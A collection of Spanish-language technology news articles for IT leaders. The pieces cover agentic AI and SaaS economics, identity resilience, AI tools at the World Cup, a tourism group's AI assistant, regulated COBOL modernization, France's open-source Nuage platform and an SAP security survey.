Gartner estima que el gasto expuesto representará alrededor del 20% del gasto empresarial en SaaS al final de la década. La consultora atribuye este cambio al fenómeno que denomina ‘arbitraje agentivo’ (agentic arbitrage), es decir, el uso de agentes de IA para completar tareas empresariales a través de múltiples sistemas corporativos, reduciendo la necesidad de que los empleados interactúen directamente con cada aplicación.

Según Brocklehurst, la IA agentiva está cambiando la economía del software. Estos sistemas suelen omitir los flujos tradicionales de uso del software y entregar directamente los resultados, rompiendo así la relación histórica entre el crecimiento del número de usuarios y el crecimiento de los ingresos de muchos proveedores de software empresarial.

Los CIO deberán replantearse la adquisición de software

La aparición de la IA agentiva obligará a los CIO a evaluar el software empresarial de otra manera. En lugar de centrarse principalmente en la experiencia de usuario y el diseño de las interfaces, las organizaciones deberán analizar si los agentes de IA pueden realizar, mediante API, todas las funciones que hoy ejecutan los usuarios humanos a través de pantallas y aplicaciones.

“Lo realmente importante es determinar si un agente puede hacer todo —e incluso más— a través de la API de un sistema que lo que una persona puede realizar mediante una interfaz gráfica, y si las condiciones del proveedor lo permiten”, afirma Brocklehurst.

Este cambio también afecta a la forma de evaluar los contratos de software. “Examine el contrato con la misma atención con la que examina la tecnología”, recomienda. “Las condiciones de los proveedores pueden prohibir o restringir —desde el punto de vista técnico o financiero— el uso autónomo por parte de terceros. Los CIO podrían descubrir que su estrategia de IA está bloqueada no por una limitación tecnológica, sino por cláusulas que ya firmaron”.

Por ello, aconseja que las organizaciones negocien desde ahora los permisos para el uso de agentes en sus acuerdos de software, ya que muchos contratos seguirán vigentes cuando los agentes de IA se generalicen.

La propiedad del conocimiento será el próximo campo de batalla

Más allá de las API y las licencias, las empresas deberán prestar especial atención a dónde se almacena el conocimiento generado por los sistemas de IA. Cada corrección, excepción o flujo de trabajo gestionado por un agente crea conocimiento organizativo. Gartner denomina Knowledge Retention Rate (KRR) o tasa de retención del conocimiento a la capacidad de una organización para conservar ese aprendizaje.

“Si ese conocimiento acaba alimentando los modelos compartidos del proveedor, la experiencia operativa de su empresa estará mejorando un producto que también utilizan sus competidores”, señala Brocklehurst. “La cláusula más importante de la próxima generación de contratos de software será: “¿Quién es el propietario de lo que el sistema aprende de usted?””.

Según Gartner, las empresas corren el riesgo de caer en una nueva forma de dependencia tecnológica (vendor lock-in) si ese aprendizaje operativo permanece en manos de los proveedores y no de los clientes.

El modelo económico tradicional del SaaS afronta una disrupción

Gartner sostiene que los agentes de IA capaces de ejecutar procesos en múltiples aplicaciones empresariales reducirán la interacción directa de los usuarios con las interfaces tradicionales, debilitando el vínculo histórico entre el uso del software y las licencias basadas en número de usuarios.

Ante este escenario, los proveedores consolidados deberán evolucionar desde una propuesta de valor centrada en la interfaz hacia otra basada en los resultados, incorporando capacidades agentivas directamente en los procesos de negocio y preservando el conocimiento específico de cada cliente.

Al mismo tiempo, las startups nativas de IA y los proveedores de servicios podrían beneficiarse al convertirse en la capa de orquestación encargada de coordinar el trabajo entre múltiples aplicaciones empresariales. “Aunque este cambio supone una amenaza existencial para los proveedores que siguen defendiendo modelos basados en paneles de control tradicionales y licencias por usuario, también crea una importante oportunidad de ingresos para quienes desarrollen servicios y plataformas capaces de soportar flujos de trabajo transversales impulsados por agentes”, indica Brocklehurst.

La gobernanza debe evolucionar junto con los sistemas autónomos

Gartner también insta a los CIO a establecer marcos de gobernanza antes de que los agentes autónomos de IA se conviertan en algo habitual. “No conceda autonomía de forma implícita ni desigual”, advierte Brocklehurst. Las organizaciones deben tratar la autonomía de los agentes como una decisión explícita de gobierno corporativo, definiendo dónde pueden actuar de forma independiente, quién autoriza esas decisiones y con qué frecuencia deben revisarse esos permisos.

“Las empresas que desarrollen esa capacidad desde ahora podrán avanzar más rápido y con mayor seguridad cuando la tecnología esté preparada para asumir más responsabilidades”, concluye.

Aunque Gartner describe esta transición como una redefinición del concepto de ‘Saaspocalypse’, Brocklehurst subraya que el SaaS no desaparecerá. “Esto es menos un apocalipsis y más una metamorfosis. El SaaS no será destruido; simplemente emergerá bajo una forma diferente”.

La identidad se ha convertido en el nuevo perímetro corporativo. En un entorno dominado por modelos híbridos, servicios en la nube y arquitecturas zero trust, prácticamente todas las operaciones dependen de mecanismos de autenticación y autorización. Cuando estos sistemas dejan de funcionar, el impacto va mucho más allá de una interrupción tecnológica: se paralizan procesos de negocio, se bloquea el acceso a aplicaciones críticas y la capacidad operativa de la organización se reduce drásticamente. 

Esta realidad ha elevado la importancia de conceptos como la resiliencia de identidad, una disciplina que va más allá de la protección preventiva para centrarse en la capacidad de recuperación tras un incidente. Porque la pregunta ya no es únicamente cómo evitar una intrusión, sino cómo volver a operar cuando los mecanismos de identidad han sido comprometidos. 

El problema es que muchas organizaciones siguen abordando esta cuestión desde una perspectiva heredada. Se asume que recuperar un sistema de identidad es equivalente a restaurar un servidor, una base de datos o una aplicación empresarial. Pero no es así. Plataformas como Active Directory, que continúan siendo el núcleo de la identidad en una gran parte de las empresas del mundo, presentan una complejidad técnica singular. Su naturaleza distribuida, los procesos de replicación y las múltiples dependencias con otros sistemas hacen que una recuperación completa requiera procedimientos específicos, conocimiento especializado y una planificación rigurosa. 

Esta diferencia es especialmente relevante en el contexto actual de las amenazas. Los atacantes ya no buscan únicamente cifrar sistemas o exfiltrar información. Cada vez con más frecuencia intentan comprometer la infraestructura de identidad para obtener persistencia, escalar privilegios y dificultar la recuperación posterior. En muchos casos, incluso después de restaurar los sistemas afectados, los mecanismos de acceso maliciosos permanecen ocultos dentro del entorno de identidad, permitiendo que el atacante vuelva a tomar el control. 

Por ello, medir la preparación únicamente en términos de backup resulta insuficiente. Una estrategia madura debe centrarse en la recuperación efectiva. Esto implica validar periódicamente los procedimientos, definir objetivos de recuperación realistas y comprobar que la organización puede restaurar no solo la tecnología, sino también la capacidad mínima necesaria para mantener la actividad empresarial. 

Una estrategia madura debe centrarse en la recuperación efectiva

Aquí surge una cuestión que con frecuencia pasa desapercibida: ¿qué significa realmente recuperarse? Muchas métricas tradicionales se centran en volver a poner en marcha un controlador de dominio o restaurar una instancia concreta. Sin embargo, desde la perspectiva del negocio, la recuperación solo puede considerarse completa cuando los procesos críticos vuelven a estar operativos. En otras palabras, el tiempo de recuperación debe medirse en función de la capacidad de la empresa para funcionar, no únicamente de la disponibilidad técnica de determinados componentes. 

La experiencia demuestra que las organizaciones más preparadas son aquellas que someten sus planes a pruebas continuas. Del mismo modo que se realizan simulacros de evacuación ante emergencias físicas, los ejercicios de recuperación de identidad permiten identificar dependencias ocultas, validar tiempos de respuesta y detectar fallos antes de que una crisis real los convierta en un problema crítico. La resiliencia no puede darse por supuesta; debe demostrarse. 

Además, la recuperación moderna exige una visión ciberresiliente. Restaurar un entorno comprometido sin comprender cómo fue atacado supone correr el riesgo de reintroducir el problema. Las organizaciones necesitan ser capaces de identificar indicadores de persistencia, detectar configuraciones manipuladas y garantizar que los sistemas recuperados son realmente confiables. Recuperar rápido es importante, pero recuperar de forma segura lo es aún más. 

En última instancia, la resiliencia de identidad representa un cambio de paradigma para los responsables de seguridad y de infraestructura. Durante años, el objetivo fue impedir cualquier intrusión. Hoy sabemos que ninguna organización puede garantizar una protección absoluta. Lo que diferencia a las empresas más resilientes no es la ausencia de incidentes, sino su capacidad para restaurar rápidamente la confianza en sus sistemas críticos cuando estos se ven comprometidos. 

En un escenario donde la identidad sustenta prácticamente todas las operaciones digitales, la capacidad de recuperación deja de ser una cuestión técnica para convertirse en un factor estratégico de supervivencia empresarial. Y esa capacidad empieza mucho antes de una crisis, cuando las organizaciones dejan de preguntarse si tienen copias de seguridad y comienzan a preguntarse si realmente están preparadas para recuperar su identidad. 

La Copa Mundial de la FIFA es, posiblemente, la mayor oportunidad publicitaria jamás concebida. Al menos 2.800 millones de personas vieron alguna parte del Mundial de Catar 2022. Y este año se espera que esa cifra alcance al menos los 6.000 millones. Sin embargo, estos números palidecen frente a la enorme cantidad de dinero invertida en campañas de marketing por algunas de las mayores empresas del mundo, que buscan promocionar desde refrescos y ropa deportiva hasta automóviles y ordenadores.

Los mayores innovadores en inteligencia artificial también forman parte de esta competición publicitaria, aunque en lugar de exhibir el poder de sus grandes modelos de lenguaje (LLM), dos de los mayores contribuyentes al gasto publicitario del Mundial, OpenAI y Google, parecen conformarse con recordar al público que existen. Para el creador de ChatGPT, eso significa pagar al delantero argentino Lionel Messi para que pida al chatbot que tiña virtualmente su cabello con los colores de la bandera de su país. Gemini, por su parte, se ha limitado a patrocinar a la selección argentina y a ajustar su modelo para responder a preguntas sobre los partidos como lo haría un aficionado.

Este nivel de implicación es comprensible en el caso de Google, cuyas aplicaciones Maps y Translate, potenciadas por IA, ya aportan un valor incalculable a los aficionados que visitan lugares desconocidos o intentan comunicarse en idiomas que no dominan. Otras compañías, sin embargo, tienen planes más sofisticados.

Entre bastidores

Lenovo, por ejemplo, ha lanzado Football AI Pro, una aplicación diseñada para procesar millones de datos generados durante los partidos y convertirlos en más de 2.000 métricas que ayudan a las selecciones nacionales a planificar estrategias para sus próximos encuentros. A partir de esos datos, los agentes de IA de la plataforma pueden generar respuestas en lenguaje natural, representaciones gráficas y simulaciones animadas de diferentes escenarios. “Los equipos pueden incluso reproducir acciones y analizar la toma de decisiones tácticas de partidos anteriores”, explica Art Hu, CIO global de Lenovo.

Las conversaciones con FIFA sobre este proyecto comenzaron en 2022. Para entonces, Lenovo ya contaba con una sólida experiencia en colaboraciones deportivas gracias a acuerdos con la Fórmula 1, Ducati y los Carolina Hurricanes. En el caso de la FIFA, la idea surgió como una plataforma de software capaz de proporcionar análisis estadístico e información estratégica basada en IA a las 48 selecciones participantes. Según Hu, pocos deportes ofrecen un acceso tan avanzado a este tipo de tecnología.

Los árbitros también están beneficiándose de estas herramientas. Lenovo ha creado reconstrucciones tridimensionales impulsadas por IA de más de 1.200 jugadores participantes en el torneo. Estas recreaciones permiten a los colegiados tomar mejores decisiones cuando su visión, o incluso la de las cámaras VAR, queda obstaculizada. “Estos avatares proporcionan un mayor contexto y comprensión en los momentos decisivos”, afirma Hu. “Ya los hemos visto utilizarse de forma efectiva en repeticiones relacionadas con fueras de juego durante el torneo”.

A medida que concluyan las fases de grupos y el campeonato llegue a su fin, FIFA publicará más información sobre el uso de estas herramientas. Por ello, Hu no puede detallar todavía cómo Football AI Pro está ayudando exactamente a cada selección. Sin embargo, considera que la plataforma tiene potencial más allá del fútbol. “Como Football AI Pro se ha desarrollado, en parte, utilizando Lenovo AI Factory, gran parte de la infraestructura subyacente puede reutilizarse en otras soluciones que requieran motores de IA personalizados y multiagente”.

Control de multitudes

Más allá del césped y de las gradas, la inteligencia artificial también está desempeñando una función crucial en materia de seguridad. Se espera que alrededor de cinco millones de aficionados viajen a las ciudades anfitrionas de Estados Unidos, México y Canadá para apoyar a sus selecciones, lo que supone una importante presión adicional para los servicios de emergencia locales. A menudo, cuando se produce una situación de estrés, los turistas recurren instintivamente a su lengua materna.

Es aquí donde entra en juego RapidSOS. La compañía proporciona a los servicios de emergencia de Estados Unidos, Canadá y México herramientas para obtener información contextual crítica de los llamantes, como su ubicación exacta. Además, emplea IA para identificar automáticamente los detalles más relevantes de cada incidente y compartirlos con los actores implicados.

Dada la magnitud del evento, esto significa mantener informados no solo a los equipos de emergencias, sino también a la FIFA, a los operadores de los estadios y a cualquier organización que tenga contacto directo con los aficionados.

Una de las funciones más relevantes del sistema es su capacidad para traducir hasta 50 idiomas en tiempo real a partir del audio de las llamadas, algo especialmente útil durante los días de partido. El servicio también resulta eficaz cuando la comunicación es deficiente debido al ruido ambiental, una situación frecuente en recintos deportivos abarrotados. “Disponemos de una enorme cantidad de datos sintéticos basados en llamadas reales que utilizamos constantemente para poner a prueba nuestros sistemas”, explica Zach LaValley, director de tecnología de RapidSOS.

Según el directivo, el sistema puede incluso priorizar determinados modelos de traducción o transcripción en función de los idiomas predominantes de cada localidad. LaValley subraya que la tecnología de RapidSOS no sustituye a otros servicios de atención disponibles para los aficionados, pero sí ofrece una alternativa rápida y funcional cuando encontrar a una persona que hable el idioma adecuado puede requerir varios minutos.

En un evento global donde la velocidad puede marcar la diferencia tanto dentro como fuera del terreno de juego, la inteligencia artificial se está consolidando como una herramienta decisiva para mejorar el rendimiento deportivo, reforzar la toma de decisiones y garantizar la seguridad de millones de personas.

El turismo vive una profunda transformación impulsada por un nuevo perfil del cliente. Hoy los viajeros ya no buscan únicamente un destino o un hotel; demandan experiencias personalizadas, respuestas inmediatas y una relación fluida con las marcas antes, durante y después de cada viaje.

Para grupos como Piñero, compañía española con más de 50 años de experiencia en el sector del turismo, real estate y hospitality, responder a estas nuevas expectativas ha supuesto mucho más que incorporar tecnología. Ha implicado transformar la forma de operar, tomar decisiones y relacionarse con sus clientes. “La transformación digital está plenamente integrada en la estrategia corporativa. Hemos evolucionado desde iniciativas aisladas hacia un modelo transversal donde la tecnología actúa como habilitador clave del negocio, la eficiencia y la experiencia del cliente”, explica Antonio Muñoz, director de TI de Piñero.

Ocho años acelerando la transformación

Aunque la innovación tecnológica forma parte de la evolución natural de la compañía, el proceso de transformación digital se aceleró formalmente hace aproximadamente ocho años. Según explica Muñoz, el objetivo era doble: “Modernizar nuestra arquitectura tecnológica y dotar al grupo de capacidades digitales que impulsaran eficiencia, integración y una relación más directa y personalizada con el cliente”. Un proceso que, asegura, ha estado ligado al propio crecimiento de la organización. “Estos procesos de transformación forman parte de nuestro ADN como compañía y han venido acompañando al crecimiento empresarial de una manera muy cercana”.

Como ocurre en cualquier proceso de transformación, el camino no ha estado exento de desafíos. Entre los principales retos, el responsable de TI destaca “la gestión del cambio cultural, la convivencia entre sistemas legacy, la implementación de nuevas plataformas cloud y la necesidad de reforzar el talento digital y el gobierno del dato en un entorno multinacional”.

Aun así, la evolución tecnológica de Piñero durante los últimos años ha sido profunda. “Hemos evolucionado desde un entorno fragmentado y on premise hacia una arquitectura orientada a servicios, cloud y datos”, resume Muñoz.

Actualmente, la compañía opera sobre una arquitectura híbrida con un peso creciente de la nube, plataformas de integración y un Data Platform corporativo. Una transformación que ha venido acompañada de importantes cambios estructurales, entre ellos la implantación de plataformas de integración, la creación de una plataforma corporativa de datos y la estandarización de herramientas de productividad y colaboración.

Todo ello ha cambiado el papel que desempeña la tecnología dentro de la organización, pasando de ser “un soporte operativo a convertirse en una palanca estratégica, generadora de nuevas capacidades comerciales, analíticas y de servicio”, afirma el director de TI.

Una estrategia común para negocios muy diferentes

Uno de los retos más importantes de la compañía es articular una estrategia tecnológica coherente para negocios con necesidades distintas. Para lograrlo, el grupo ha construido una misma base tecnológica. “La estrategia se articula sobre unas redes troncales tecnológicas comunes —datos, integración, seguridad, identidad— sobre las que cada unidad despliega soluciones específicas. Este modelo garantiza coherencia, escalabilidad y reutilización de capacidades en todo el grupo”, explica Muñoz.

La digitalización no solo está transformando los procesos internos de la compañía, sino también la relación con los clientes. Al mismo tiempo, el dato se ha convertido en uno de sus principales activos estratégicos, apoyándose en herramientas de business intelligence, machine learning y analítica avanzada para convertir la información en decisiones y acciones concretas. “La ventaja competitiva de verdad sale de nuestros datos y de cómo los convertimos mediante algoritmos avanzados en decisiones y acciones que nos ayuden a ser más sostenibles en todos los ámbitos”, señala Muñoz.

“Nuestro foco hoy es industrializar la IA”, apunta Antonio Muñoz, director de TI de Piñero

La inteligencia artificial pasa de la experimentación a la operación

Tras años construyendo los cimientos tecnológicos de la organización, la inteligencia artificial se ha convertido en una de las principales prioridades de Piñero, aunque, en los últimos años, el enfoque ha cambiado. “Nuestro foco hoy es industrializar la IA. Ya no estamos en una fase de probar cosas: estamos integrándola en procesos reales. La gran palanca es la IA generativa y, sobre todo, los flujos agénticos: sistemas que coordinan pasos, conectan datos y herramientas y optimizan procesos completos”.

La nueva herramienta tiene un objetivo muy definido: ayudar a los equipos comerciales y de back office a trabajar con toda la información relevante de propiedades y precios de forma unificada y contextualizada. “Esta herramienta permite a nuestros equipos contestar mejor, con más contexto, más coherencia y con una capacidad de decisión más precisa, independientemente del canal por el que llegue la petición de información”, explica Muñoz.

El sistema cuenta con un profundo conocimiento del catálogo de propiedades y del contexto de cada cliente, lo que, según el director de TI, permite “recomendar, comparar y comunicar mejor que nunca, con respuestas personalizadas y coherentes en todos nuestros canales”.

Desde el punto de vista tecnológico, la solución cuenta con “una combinación muy pragmática: IA generativa y una arquitectura multiagente, con varios agentes especializados que se coordinan para entender la consulta, buscar el contexto y construir una respuesta útil”, explica Muñoz.

De acuerdo con el director de TI, la diferencia respecto a otros asistentes radica en su integración con los sistemas internos de la organización: “Lo diferencial es que no es IA aislada: está integrada con las fuentes internas de la división para unificar información de propiedades, precios e históricos, y además se conecta a los canales donde trabaja el equipo —correo y WhatsApp— para generar respuestas personalizadas y comparativas/recomendaciones en tiempo real”.

Uno de los principales beneficios de este asistente es la reducción del tiempo dedicado a tareas repetitivas. “Esperamos liberar en torno a un 20-30% del tiempo del equipo en tareas repetitivas —buscar información, cruzar datos, preparar comparativas o redactar respuestas— para que puedan dedicarse más a tareas de valor, como el seguimiento y asesoramiento comercial”, comenta Muñoz.

Pero el objetivo no es sustituir el papel de las personas, sino potenciarlo. “Reduce gran parte del trabajo manual de buscar, cruzar y preparar información. Deja una propuesta prácticamente lista, y el paso final (criterio, matiz, decisión y cierre comercial) lo da la persona, que es donde está el verdadero valor”.

Una tecnología llamada a extenderse

El asistente de Real Estate & Golf no será una iniciativa aislada, comenta Muñoz. “Este asistente no aparece de la nada: forma parte de una línea de trabajo que ya venimos desarrollando en el Grupo con asistentes y soluciones de IA en otras áreas”. La intención es extender estas capacidades al resto de negocios y seguir ampliando la arquitectura con nuevas fuentes de información, procesos y canales.

La hoja de ruta tecnológica de Piñero pasa por seguir escalando la inteligencia artificial, reforzar el gobierno del dato y acelerar la innovación aplicada al negocio. Para Muñoz, el gran reto será convertir a la organización en una compañía plenamente orientada al dato: “La mayor transformación vendrá de la capacidad de convertirnos en una organización data driven, donde la inteligencia artificial y la automatización impulsen decisiones, eficiencia y personalización a gran escala”.

Una visión que refleja cómo la tecnología ha dejado de ser un área de soporte para convertirse en uno de los principales motores de crecimiento y transformación del grupo.

La IA está acelerando proyectos de modernización que antes exigían meses de análisis. Pero en las organizaciones más reguladas aparece enseguida una realidad incómoda: el riesgo ya no está en convertir el código, sino en demostrar que la versión nueva sigue haciendo exactamente lo que hacía la anterior.

Casi todos los comités de dirección han tomado la misma decisión este año: aplicar inteligencia artificial a sus sistemas. Y casi todos descubren lo mismo cuando bajan al detalle. La IA es fácil de añadir en la periferia —un chatbot, un copiloto, un cuadro de mando— y muy difícil de meter donde de verdad importa, que es el núcleo heredado. En banca, en seguros, en buena parte de la Administración, ese núcleo sigue siendo COBOL sobre mainframe, con décadas de parches encima y una documentación que, siendo generosos, es incompleta.

Ahí es exactamente donde se concentra el riesgo regulatorio. Y ahí es donde más proyectos descarrilan.

Llevo tres décadas en sectores regulados y el patrón se repite. El equipo de IT aborda la modernización como un problema de delivery —entregar rápido, cerrar tickets, pasar a producción— cuando en un sector supervisado el problema es de compliance. No se mide por lo que entregas, sino por lo que puedes defender. Cambiar ese chip es la mitad del trabajo.

El espejismo del COBOL traducido

La promesa es seductora. Hoy un modelo de lenguaje lee miles de líneas de COBOL, las documenta, las explica y propone una equivalencia en Java o en Python en una fracción del tiempo que costaría a un equipo humano. Funciona. Lo he visto acelerar análisis que antes llevaban semanas.

El problema no es el código. El problema son las reglas de negocio que nadie escribió nunca. En un proyecto de migración en un entorno bancario altamente regulado, el mayor riesgo no estaba en las rutinas, sino en una excepción de cálculo que llevaba quince años funcionando y que no figuraba en ningún documento: vivía solo en el código y en la cabeza de un analista ya jubilado. Cuando se le pide a un modelo que “traduzca” eso, no traduce: rellena el hueco con lo que estadísticamente parece correcto. Y lo hace con una seguridad impecable.

En un cuadro de mando, una alucinación es un error molesto. En el motor de cálculo de una entidad financiera es una incidencia de cumplimiento, una reclamación de cliente y, potencialmente, una sanción del supervisor.

La tentación, precisamente porque la herramienta es tan rápida, es saltarse la parte lenta: la reconstrucción de esa lógica con quien la conoce. Es la peor decisión posible. La velocidad de la IA seduce justo en el punto donde más caro sale equivocarse.

Lo que el regulador espera (y lo que cambió en mayo)

DORA está en vigor desde enero de 2025 y es muy claro: resiliencia operativa, gestión de activos TIC, continuidad de negocio y control del riesgo de terceros. Modernizar el núcleo toca las cuatro cosas a la vez. NIS2 añade la capa de seguridad y notificación. Y el Reglamento de IA introduce su propio marco cuando el sistema que despliegas es de alto riesgo.

Aunque DORA, NIS2 y el Reglamento de IA persiguen objetivos distintos, comparten una exigencia común: poder demostrar control, trazabilidad y responsabilidad sobre los sistemas que se despliegan. Esa es la pieza que conecta los tres marcos, y la que un proyecto de modernización tiene que proteger desde el primer día.

Aquí conviene deshacer un malentendido reciente. Con el acuerdo del Digital Omnibus de mayo de 2026, las obligaciones de alto riesgo del Anexo III se aplazan a diciembre de 2027. Muchos directivos han leído el titular —”la UE retrasa la Ley de IA”— como una tregua. Es una lectura peligrosa. Las obligaciones de transparencia siguen aplicándose en agosto de 2026, el marcado de contenido sintético llega en diciembre de 2026 y, sobre todo, el riesgo subyacente no se mueve ni un día. Una decisión automatizada errónea en 2026 sigue cayendo bajo el RGPD, bajo la normativa sectorial y bajo el supervisor de turno. El plazo se ha movido; la responsabilidad, no.

Cómo hacerlo sin disparar el riesgo

No tengo una fórmula mágica, pero sí cinco principios que aplico en cada proyecto de este tipo.

Primero, inventariar antes de modernizar. No se puede asegurar ni migrar lo que no se ha mapeado. Activos, dependencias, flujos de datos: si no existe ese mapa, el primer entregable del proyecto es construirlo, no escribir código.

Segundo, la IA propone, una persona valida. El modelo acelera el análisis y el primer borrador de la transformación. La regla de negocio crítica la confirma un ingeniero que entiende el negocio, no el modelo. Donde no haya quien la entienda, se reconstruye con el área de negocio antes de tocar nada.

Tercero, trazabilidad de extremo a extremo. Cada transformación generada por IA debe quedar registrada: qué entró, qué salió, quién lo aprobó y por qué. Eso no es burocracia; es exactamente lo que el auditor pedirá, y es lo que convierte un cambio en defendible.

Cuarto, cuidado con dónde va el código. Volcar fuentes del núcleo en un modelo externo es una transferencia de datos y un problema de confidencialidad antes que una cuestión técnica. DORA exige controlar al tercero; el RGPD, controlar el dato. Esa decisión se toma al principio del proyecto, no cuando ya está hecho.

Quinto, gobernar el shadow AI. Si la organización no ofrece una vía segura para usar IA, los equipos la usarán igual, por su cuenta y sin control. La gobernanza no consiste en prohibir, sino en dar un camino habilitado.

El liderazgo tecnológico ha cambiado

En un sector regulado, el reto del CIO ya no consiste únicamente en modernizar los sistemas heredados, sino en hacerlo de una forma que resista el escrutinio de auditores, reguladores y comités de riesgo. Dirigir uno de estos proyectos ya no es coordinar entregas: es hacer que la transformación sea defendible. Significa decir que no a un atajo que ahorraría dos semanas, pero dejaría un hueco sin trazabilidad. Significa tratar la gobernanza como un acelerador —porque un cambio bien documentado se aprueba antes— y no es un freno.

La IA es una palanca extraordinaria para sacar a las organizaciones de su deuda técnica heredada. Pero en banca, seguros o Administración, la velocidad sin control no es una ventaja: es un pasivo que aflora en la primera inspección. Modernizar rápido puede ser una ventaja competitiva; modernizar con trazabilidad, control y capacidad de defensa es lo que la hace sostenible.

Por eso resumo así lo que llevo aprendido en estos años: una solución segura no es la más lenta ni la más cara. Es la que sobrevive a la primera auditoría.

>

Francia está trabajando en reducir su dependencia de proveedores tecnológicos no europeos en el sector público, y para ello ha apostado por el software de código abierto, que está adquiriendo un papel cada vez más destacado en la región.

Uno de los proyectos que está desplegando es Nuage, una plataforma de almacenamiento e intercambio de archivos desarrollada por el Ministerio de Educación Nacional para docentes, personal administrativo y otros empleados. Aunque está dirigida a los 1,2 millones de trabajadores del Ministerio, actualmente cuenta con 400.000 cuentas activas, y alrededor de dos tercios de los usuarios acceden al servicio cada semana.

Cada usuario dispone de 100 GB de almacenamiento para documentos, PDF, vídeos e imágenes, aunque el uso medio se sitúa en torno a los 3 GB. Además, la plataforma permite compartir y editar documentos de forma colaborativa.

El código abierto como modelo para otros

El proyecto del Ministerio es un ejemplo de cómo el software de código abierto puede utilizarse a gran escala y servir de modelo para otras organizaciones que buscan reforzar su soberanía digital. El interés por este enfoque ha aumentado en los últimos meses debido a las tensiones geopolíticas y comerciales, así como al creciente temor en Europa de que la Administración Trump pueda restringir de forma repentina el acceso a determinadas tecnologías.

Para la administración francesa, Nuage permite al Ministerio mantener el control sobre los datos sensibles relacionados con los estudiantes que almacenan los docentes, explica Benoît Piédallu, responsable nacional de proyectos de servicios digitales del Ministerio de Educación Nacional de Francia.

“No queríamos que estos datos fueran a Estados Unidos, a Microsoft o a otros sistemas similares. Para nosotros era importante que permanecieran en nuestras propias instalaciones”, afirma Piédallu.

El coste también ha sido un factor determinante. Según Piédallu, el Ministerio puede destinar aproximadamente 10 euros por usuario al año al proyecto. “Mi presupuesto para la plataforma es inferior a dos millones de euros anuales, por lo que el precio es, por supuesto, una cuestión muy importante”, señala.

El equipo de servicios digitales del Ministerio ha sido responsable tanto del diseño como de la puesta en marcha de Nuage. Los trabajos se desarrollaron desde el despliegue inicial en 2020 hasta el lanzamiento de la versión definitiva en 2022.

“El principal reto de desplegar una plataforma de código abierto es que tenemos que hacerlo todo nosotros mismos”, explica, en referencia a la gestión de máquinas virtuales, la instalación de Linux Debian y la configuración del entorno. “Necesitamos administrar toda la infraestructura y, por supuesto, instalar y configurar Nextcloud”.

El Ministerio cuenta con dos empleados dedicados a la gestión de la plataforma de almacenamiento y un tercero responsable de la infraestructura. Nuage está alojada en dos centros de datos estatales: uno cerca de París y otro en el sur del país, próximo a los Pirineos.

Las funciones de almacenamiento y sincronización de archivos se basan en Nextcloud Files, desarrollado por la empresa alemana Nextcloud. Además, Nuage incorpora un editor documental basado en Nextcloud Office, que utiliza tecnología de código abierto de Collabora.

El Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública

La adopción sigue creciendo

Piédallu considera que la elevada adopción del servicio demuestra su éxito. De los 400.000 usuarios activos, alrededor de 80.000 utilizan el cliente de sincronización de archivos en el escritorio. En total, Nuage almacena 570 millones de documentos y 1,2 petabytes de datos.

Este nivel de implantación se ha logrado prácticamente sin campañas internas de promoción. “No hemos realizado ninguna comunicación nacional importante para animar a los usuarios a utilizar el servicio ni para informarles de que disponen de 100 GB de almacenamiento”, explica.

A pesar de ello, la adopción sigue aumentando, hasta el punto de que cada mes es necesario incorporar unos 40 terabytes adicionales de capacidad de almacenamiento para atender la demanda. “Tenemos un crecimiento muy lineal. Es increíble verlo”, afirma.

Sin embargo, el aumento de los costes del hardware de almacenamiento ha llevado al Ministerio a intentar moderar el ritmo de crecimiento para evitar mayores inversiones en infraestructura. “Si mañana hiciera una campaña de comunicación, aceleraría el uso, y sé que tengo un límite en mi centro de datos”.

Incluso sin impulsar activamente la adopción, el Ministerio prevé alcanzar 600.000 usuarios antes de que finalice el año.

Aunque el equipo de servicios digitales no dispone de una visibilidad completa sobre la percepción de la plataforma, Piédallu asegura que la respuesta es positiva. El sistema de almacenamiento y sincronización funciona de manera prácticamente transparente para los usuarios y ofrece un rendimiento estable, salvo algunos problemas ocasionales de sincronización. “Están muy satisfechos. No hacen comparaciones con Google Drive o OneDrive; simplemente funciona”.

La recepción de la suite ofimática basada en Collabora, sin embargo, ha sido menos favorable, en parte porque su interfaz resulta poco familiar para muchos usuarios. “Cuando quieren editar documentos o trabajar con una hoja de cálculo, esperan que funcione exactamente igual que lo que ya conocen. Si utilizan Microsoft Office, quieren las mismas opciones y la misma experiencia”.

Las administraciones locales y los distritos escolares no están obligados a utilizar Nuage; pueden optar por desplegar la plataforma o recurrir a software propietario. De hecho, herramientas como Microsoft SharePoint y la suite Microsoft Office siguen utilizándose ampliamente, aunque no existen cifras oficiales sobre su nivel de uso. El Ministerio, por ejemplo, destina alrededor de 2,5 millones de euros al año a licencias de Windows para unos 50.000 dispositivos.

La búsqueda de independencia tecnológica

La soberanía digital se ha convertido en una prioridad creciente tanto para el Ministerio como para el conjunto del sector público francés, según Piédallu. “Hace unos años, el software libre y los bienes digitales comunes eran la prioridad; ahora lo es la soberanía digital: desplegar herramientas soberanas que podamos operar nosotros mismos y que no incluyan mecanismos de interrupción remota (‘kill switch’), entre otras cosas”.

Añade que se trata de una línea estratégica impulsada tanto desde la Administración como desde el ámbito político. Nuage es solo una de las múltiples iniciativas de código abierto en marcha en el sector público francés. Entre otras destaca LaSuite, una suite de productividad y colaboración desarrollada por la Dirección Interministerial de Asuntos Digitales (DINUM), que incluye servicios como la aplicación de mensajería Tchap y la plataforma de videoconferencia Visio.

Asimismo, el Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública. Piédallu considera que las organizaciones públicas que estudian adoptar software de código abierto deberían apoyarse en la experiencia de otras entidades que ya han recorrido ese camino. También cree que muchos directivos sobreestiman la dificultad de abandonar tecnologías consolidadas.

“La mayoría de los responsables de decisión creen que será muy difícil. Evidentemente, hay trabajo por hacer para gestionar el cambio, ayudar a las personas y asegurarse de que todo está bien planificado”, afirma. “Pero al final es posible. Es algo que podemos hacer”.

El estudio ‘Ciberseguridad en SAP 2026’, realizado por la consultora española Seidor en el segundo trimestre de 2026, mediante encuestas a responsables de tecnología, ciberseguridad y riesgo de medio centenar de organizaciones españolas usuarias de SAP con una facturación superior a 100 millones de euros, muestra hasta qué punto las empresas están preparadas para una nueva tipología de riesgos, menos visible que los ataques tradicionales.

En concreto, el informe revela que el 88% de las empresas usuarias de SAP están desprotegidas ante las nuevas amenazas sobre el ERP, el sistema mediante el cual se gestionan procesos críticos como pagos, proveedores, pedidos, precios, información financiera o datos de clientes y productos.

